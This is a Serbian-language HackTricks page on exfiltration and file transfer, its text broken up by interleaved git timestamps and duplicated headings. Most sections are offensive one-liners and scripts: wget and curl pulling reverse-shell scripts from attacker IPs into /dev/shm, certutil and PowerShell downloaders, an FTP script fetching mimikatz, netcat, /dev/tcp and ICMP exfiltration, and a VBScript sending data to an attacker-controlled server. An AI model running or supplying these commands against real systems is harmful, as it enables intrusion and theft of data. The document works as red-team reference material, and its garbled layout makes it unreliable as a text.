2024-02-10 13:11:20 +00:00
# Izfiltracija
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 13:11:20 +00:00
< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-09 13:32:43 +00:00
Drugi načini podrške HackTricks-u:
2023-12-30 20:49:23 +00:00
2024-03-26 15:52:14 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU** ](https://github.com/sponsors/carlospolop )!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-03-09 13:32:43 +00:00
* Otkrijte [**Porodicu PEASS** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live** ](https://twitter.com/hacktricks_live )**.**
2024-02-10 13:11:20 +00:00
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2022-04-28 16:01:33 +00:00
< / details >
2024-03-14 23:38:08 +00:00
**Try Hard Security Group**
2023-09-02 23:48:41 +00:00
2024-03-26 15:52:14 +00:00
< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-14 23:38:08 +00:00
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2024-03-26 15:52:14 +00:00
## Često beleženi domeni za izfiltriranje informacija
2024-03-14 23:38:08 +00:00
2024-03-26 15:52:14 +00:00
Proverite [https://lots-project.com/ ](https://lots-project.com/ ) da biste pronašli često beležene domene koje mogu biti zloupotrebljene
2022-04-28 16:01:33 +00:00
2024-03-09 13:32:43 +00:00
## Kopiranje\&lepljenje Base64
2020-07-15 15:43:14 +00:00
2022-07-21 20:01:55 +00:00
**Linux**
2020-07-15 15:43:14 +00:00
```bash
base64 -w0 < file > #Encode file
base64 -d file #Decode file
```
2022-07-21 20:01:55 +00:00
**Windows**
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```
2024-03-09 13:32:43 +00:00
## HTTP
2020-07-15 15:43:14 +00:00
2022-07-21 20:01:55 +00:00
**Linux**
2020-07-15 15:43:14 +00:00
```bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```
2022-07-21 20:01:55 +00:00
**Windows**
2020-07-15 15:43:14 +00:00
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
2024-03-09 13:32:43 +00:00
### Postavljanje fajlova
2020-07-15 15:43:14 +00:00
2023-03-28 10:15:00 +00:00
* [**SimpleHttpServerWithFileUploads** ](https://gist.github.com/UniIsland/3346170 )
2024-03-26 15:52:14 +00:00
* [**SimpleHttpServer ispisuje GET i POST zahteve (uključujući zaglavlja)** ](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149 )
2024-02-10 13:11:20 +00:00
* Python modul [uploadserver ](https://pypi.org/project/uploadserver/ ):
2023-03-15 12:03:23 +00:00
```bash
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
2024-02-10 13:11:20 +00:00
# With basic auth:
2023-03-15 12:03:23 +00:00
# python3 -m uploadserver --basic-auth hello:world
2020-07-15 15:43:14 +00:00
2023-03-15 12:03:23 +00:00
# Send a file
2024-02-10 13:11:20 +00:00
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
2023-03-15 12:03:23 +00:00
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
2024-03-24 13:29:10 +00:00
### **HTTPS Server**
2024-02-10 13:11:20 +00:00
### **HTTPS Server**
2021-09-07 12:22:24 +00:00
```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
# python simple-https-server.py
# then in your browser, visit:
2021-09-07 13:32:20 +00:00
# https://localhost:443
2021-09-07 12:22:24 +00:00
2022-05-01 12:41:36 +00:00
### PYTHON 2
2021-09-07 12:22:24 +00:00
import BaseHTTPServer, SimpleHTTPServer
import ssl
2021-09-07 13:32:20 +00:00
httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
2021-09-07 12:22:24 +00:00
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
2022-05-01 12:41:36 +00:00
###
2022-02-02 14:59:07 +00:00
2022-05-01 12:41:36 +00:00
### PYTHON3
2022-02-02 14:59:07 +00:00
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
2022-05-01 12:41:36 +00:00
###
2022-02-02 14:59:07 +00:00
2022-05-01 12:41:36 +00:00
### USING FLASK
2022-02-02 14:59:07 +00:00
from flask import Flask, redirect, request
from urllib.parse import quote
2024-02-10 13:11:20 +00:00
app = Flask(__name__)
@app .route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
2022-05-01 12:41:36 +00:00
###
2021-09-07 12:22:24 +00:00
```
2024-02-10 13:11:20 +00:00
## FTP
### FTP server (python)
2020-07-15 15:43:14 +00:00
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
2023-03-15 12:03:23 +00:00
### FTP server (NodeJS)
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
2023-03-15 12:03:23 +00:00
### FTP server (pure-ftp)
2020-07-15 15:43:14 +00:00
```bash
apt-get update & & apt-get install pure-ftp
```
```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
2024-02-10 13:11:20 +00:00
### **Windows** klijent
2020-07-15 15:43:14 +00:00
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```
2023-03-15 12:03:23 +00:00
## SMB
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
Kali kao server
2020-07-15 15:43:14 +00:00
```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
2024-03-09 13:32:43 +00:00
Ili kreirajte smb deljenje **koristeći sambu** :
2020-07-15 15:43:14 +00:00
```bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
2024-02-10 13:11:20 +00:00
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
2020-07-15 15:43:14 +00:00
#Start samba
service smbd restart
```
2024-03-09 13:32:43 +00:00
Windows
2024-02-10 13:11:20 +00:00
2024-03-09 13:32:43 +00:00
---
2024-02-10 13:11:20 +00:00
2024-03-09 13:32:43 +00:00
### Exfiltration
2024-02-10 13:11:20 +00:00
2024-03-24 13:29:10 +00:00
#### Exfiltration Over Alternative Protocol
1. **Description**
2024-03-26 15:52:14 +00:00
Data exfiltration can be achieved using various protocols other than HTTP/HTTPS, such as DNS, ICMP, or SMTP.
2024-03-24 13:29:10 +00:00
2. **Detection**
- Monitor network traffic for unusual DNS requests, especially those containing encoded data.
2024-03-26 15:52:14 +00:00
- Look for abnormal ICMP or SMTP traffic patterns.
- Implement egress filtering to restrict unnecessary outbound traffic.
2024-03-24 13:29:10 +00:00
3. **Prevention**
2024-03-26 15:52:14 +00:00
- Use encryption to protect data in transit.
- Implement network segmentation to limit lateral movement.
- Disable unnecessary services and protocols to reduce attack surface.
2024-03-24 13:29:10 +00:00
4. **Tools**
2024-03-26 15:52:14 +00:00
- **dnscat2**: A tool for tunneling data through DNS servers.
- **Iodine**: A tool for tunneling IPv4 data through a DNS server.
2024-03-24 13:29:10 +00:00
2024-03-26 15:52:14 +00:00
#### Exfiltration Over Unencrypted Protocols
2024-03-24 13:29:10 +00:00
1. **Description**
2024-03-26 15:52:14 +00:00
Attackers can exfiltrate data over unencrypted protocols like FTP, Telnet, or SNMP.
2024-03-24 13:29:10 +00:00
2. **Detection**
2024-03-26 15:52:14 +00:00
- Monitor network traffic for FTP, Telnet, or SNMP connections.
- Look for large amounts of data being transferred over these protocols.
- Implement deep packet inspection to analyze payload contents.
2024-03-24 13:29:10 +00:00
3. **Prevention**
2024-03-26 15:52:14 +00:00
- Use secure protocols like SFTP, SSH, or SNMPv3.
- Implement strong authentication mechanisms.
- Encrypt data at rest and in transit.
2024-03-24 13:29:10 +00:00
4. **Tools**
2024-03-26 15:52:14 +00:00
- **Wireshark**: A network protocol analyzer for monitoring and analyzing network traffic.
- **Snort**: An open-source network intrusion detection and prevention system.
2020-07-15 15:43:14 +00:00
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```
2023-03-15 12:03:23 +00:00
## SCP
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
Napadač mora imati pokrenut SSHd.
2020-07-15 15:43:14 +00:00
```bash
2024-02-10 13:11:20 +00:00
scp < username > @< Attacker_IP > :< directory > /< filename >
2020-07-15 15:43:14 +00:00
```
2023-03-15 12:03:23 +00:00
## SSHFS
2022-07-06 10:22:29 +00:00
2024-03-09 13:32:43 +00:00
Ako žrtva ima SSH, napadač može montirati direktorijum sa žrtve na napadača.
2022-07-06 10:22:29 +00:00
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions < Target username > @< Target IP address > :< Full path to folder > / /mnt/sshfs/
```
2023-03-15 12:03:23 +00:00
## NC
2020-07-15 15:43:14 +00:00
2024-03-26 15:52:14 +00:00
NC (Netcat) je moćan alat za mrežno programiranje koji se često koristi za prenos podataka između sistema putem mreže. Može se koristiti za izvršavanje različitih zadataka, uključujući i eksfiltraciju podataka.
2020-07-15 15:43:14 +00:00
```bash
nc -lvnp 4444 > new_file
nc -vn < IP > 4444 < exfil_file
```
2024-03-09 13:32:43 +00:00
## /dev/tcp
2020-07-15 15:43:14 +00:00
2024-03-26 15:52:14 +00:00
### Preuzimanje fajla sa žrtvine mašine
2020-07-15 15:43:14 +00:00
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
2024-03-14 23:38:08 +00:00
### Postavljanje fajla žrtvi
2020-07-15 15:43:14 +00:00
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat < & 6 > file.txt
```
2024-03-09 13:32:43 +00:00
Zahvaljujući ** @BinaryShadow \_**
2020-07-15 15:43:14 +00:00
2024-03-09 13:32:43 +00:00
## **ICMP**
2020-07-15 15:43:14 +00:00
```bash
2022-09-13 11:57:23 +00:00
# To exfiltrate the content of a file via pings you can do:
2020-07-15 15:43:14 +00:00
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line < IP attacker > ; done
2021-10-30 12:23:41 +00:00
#This will 4bytes per ping packet (you could probably increase this until 16)
2020-07-15 15:43:14 +00:00
```
```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
2024-02-10 13:11:20 +00:00
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")
2020-07-15 15:43:14 +00:00
sniff(iface="tun0", prn=process_packet)
```
2023-03-15 12:03:23 +00:00
## **SMTP**
2020-07-15 15:43:14 +00:00
2024-03-26 15:52:14 +00:00
Ako možete slati podatke na SMTP server, možete kreirati SMTP da primite podatke pomoću python-a:
2020-07-15 15:43:14 +00:00
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
2023-03-15 12:03:23 +00:00
## TFTP
2020-07-15 15:43:14 +00:00
2024-03-09 13:32:43 +00:00
Podrazumevano u XP i 2003 (u drugima mora biti eksplicitno dodato tokom instalacije)
2020-07-15 15:43:14 +00:00
2024-03-24 13:29:10 +00:00
Na Kali, **pokreni TFTP server** :
2020-07-15 15:43:14 +00:00
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
2024-02-10 13:11:20 +00:00
**TFTP server u Pythonu:**
2020-07-15 15:43:14 +00:00
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p < PORT > < IFACE > < FOLDER >
```
2024-03-09 13:32:43 +00:00
Na **žrtvu** , povežite se sa Kali serverom:
2020-07-15 15:43:14 +00:00
```bash
tftp -i < KALI-IP > get nc.exe
```
2023-03-15 12:03:23 +00:00
## PHP
2020-07-15 15:43:14 +00:00
2024-03-09 13:32:43 +00:00
Preuzmite fajl pomoću PHP jednolinijske komande:
2020-07-15 15:43:14 +00:00
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?> " > down2.php
```
2023-03-15 12:03:23 +00:00
## VBScript
2024-03-26 15:52:14 +00:00
### VBScript Exfiltration Techniques
VBScript can be used to exfiltrate data from a compromised system. Below are some common techniques:
1. **Writing to Files** : VBScript can write data to a file on the system, which can then be exfiltrated using various methods.
2. **Sending Emails** : VBScript can be used to send emails with the exfiltrated data as attachments or within the email body.
3. **HTTP Requests** : VBScript can make HTTP requests to an external server controlled by the attacker to exfiltrate data.
4. **DNS Requests** : VBScript can make DNS requests with encoded data to exfiltrate information.
### Example VBScript Exfiltration Code
```vbscript
' Example VBScript code for exfiltrating data
' Write data to a file
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile("C:\exfiltrated_data.txt", True)
objFile.Write "Sensitive data to exfiltrate"
objFile.Close
' Send an email
Set objEmail = CreateObject("CDO.Message")
objEmail.From = "attacker@example.com"
objEmail.To = "recipient@example.com"
objEmail.Subject = "Exfiltrated Data"
objEmail.TextBody = "Attached is the exfiltrated data."
objEmail.AddAttachment "C:\exfiltrated_data.txt"
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.example.com"
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objEmail.Configuration.Fields.Update
objEmail.Send
' Make an HTTP request
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
objHTTP.Open "GET", "http://attacker-controlled-server.com/exfiltrate.php?data=exfiltrated_data", False
objHTTP.Send
' Make a DNS request
Set objDNS = CreateObject("MSXML2.ServerXMLHTTP")
objDNS.Open "GET", "http://attacker-controlled-dns.com", False
objDNS.Send
```
These are just a few examples of how VBScript can be used for exfiltration. It is important to note that using VBScript for malicious purposes is illegal and unethical.
2024-02-10 13:11:20 +00:00
```bash
Attacker> python -m SimpleHTTPServer 80
```
**Žrtva**
2020-07-15 15:43:14 +00:00
```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```
```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
2023-03-15 12:03:23 +00:00
## Debug.exe
2020-07-15 15:43:14 +00:00
2024-03-26 15:52:14 +00:00
Program `debug.exe` ne samo što omogućava inspekciju binarnih fajlova već takođe ima **mogućnost da ih rekonstruiše iz heksadecimalnog koda** . To znači da, pružajući heksadecimalni kod binarnog fajla, `debug.exe` može generisati binarni fajl. Međutim, važno je napomenuti da debug.exe ima **ograničenje u sastavljanju fajlova do veličine od 64 kb** .
2024-02-07 04:06:18 +00:00
```bash
# Reduce the size
2020-07-15 15:43:14 +00:00
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
2023-03-15 12:03:23 +00:00
## DNS
2021-04-01 12:07:45 +00:00
2022-06-28 10:36:33 +00:00
* [https://github.com/62726164/dns-exfil ](https://github.com/62726164/dns-exfil )